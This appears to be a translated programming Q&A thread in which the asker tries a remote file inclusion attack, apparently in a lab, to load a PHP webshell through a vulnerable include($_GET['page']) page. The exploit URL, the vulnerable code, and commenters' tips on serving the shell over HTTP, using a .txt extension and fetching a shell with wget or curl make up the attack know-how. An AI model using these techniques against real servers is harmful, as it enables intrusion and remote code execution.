【问题标题】:RFI not working properly, how to open a shell?RFI 无法正常工作,如何打开外壳?
【发布时间】:2019-11-12 17:42:35
【问题描述】:

当我试图对给我的网页进行后门以查找特定文件时,在请求 shell 时,我在页面上收到以下警告,并且没有给出其他信息。应该弹出一个外壳吗?我对 RFI 有点陌生,这是我第一次使用它。

我使用的链接是:

http://10.102.x.x/description.php?page=http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php

搜索时的显示是:

Warning: include(http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php): failed to open stream: Connection refused in /var/www/html/description.php on line 5

Warning: include(): Failed opening 'http://10.102.x.xx//usr/share/webshells/php/php-backdoor.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/description.php on line 5

description.php 看起来像这样:

<?php
$image_name = $_GET['page'];

// Get the description from another file
include($image_name);

?>

有什么问题?我有点卡住了。

我应该创建一个 HTTP 服务器来推送我的 shell 吗?我已经阅读了一些关于此的内容,但不确定这意味着什么

即使是文章的链接也值得赞赏

【问题讨论】:

  • 正如我在现在已删除的答案中所说,我认为您应该提供本地路径而不是网络路径,例如http://10.102.x.x/description.php?page=/usr/share/webshells/php/php-backdoor.php。但是我真的不知道你应该做什么,所以我删除了答案。
  • 我认为您的错误在于您访问后门文件的方式,因为除非您的网络服务器在 / 处运行,否则 URL 似乎错误,因此如果您在 /usr/share/webshells/php/php-backdoor.php 有后门文件,简单的方法是 cd 进入直接和python -m SimpleHTTPserver 80 并使用http://IP/php-backdoor.php。还有一种常见的方法是使用 .txt 而不是 php 作为 RFI 的文件扩展名,由 php 执行

标签: php remote-file-inclusion


【解决方案1】:

我不知道 php 脚本的外观如何,您尝试在其中包含远程页面,但它必须类似于:

$incfile = $_REQUEST["file"]; include($incfile.".php");

【讨论】:

  • 什么意思?
  • 您能否使用 description.php 中的代码更新您的问题,以便我们了解更多信息并为您提供帮助?
  • 我做到了,希望有意义
  • 我应该将它添加到哪个文件中?如果它是一个主机文件,我该如何编辑它?
  • 对我来说,后门 php 文件的最佳方法是创建一个 $_GET 来执行给定的命令,然后使用 wget 或 curl 从其他网站获取 shell 并将其转换为 .php文件
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2019-08-26
  • 1970-01-01
  • 2018-07-24
  • 1970-01-01
  • 2013-01-06
  • 2016-02-08
  • 1970-01-01
相关资源
最近更新 更多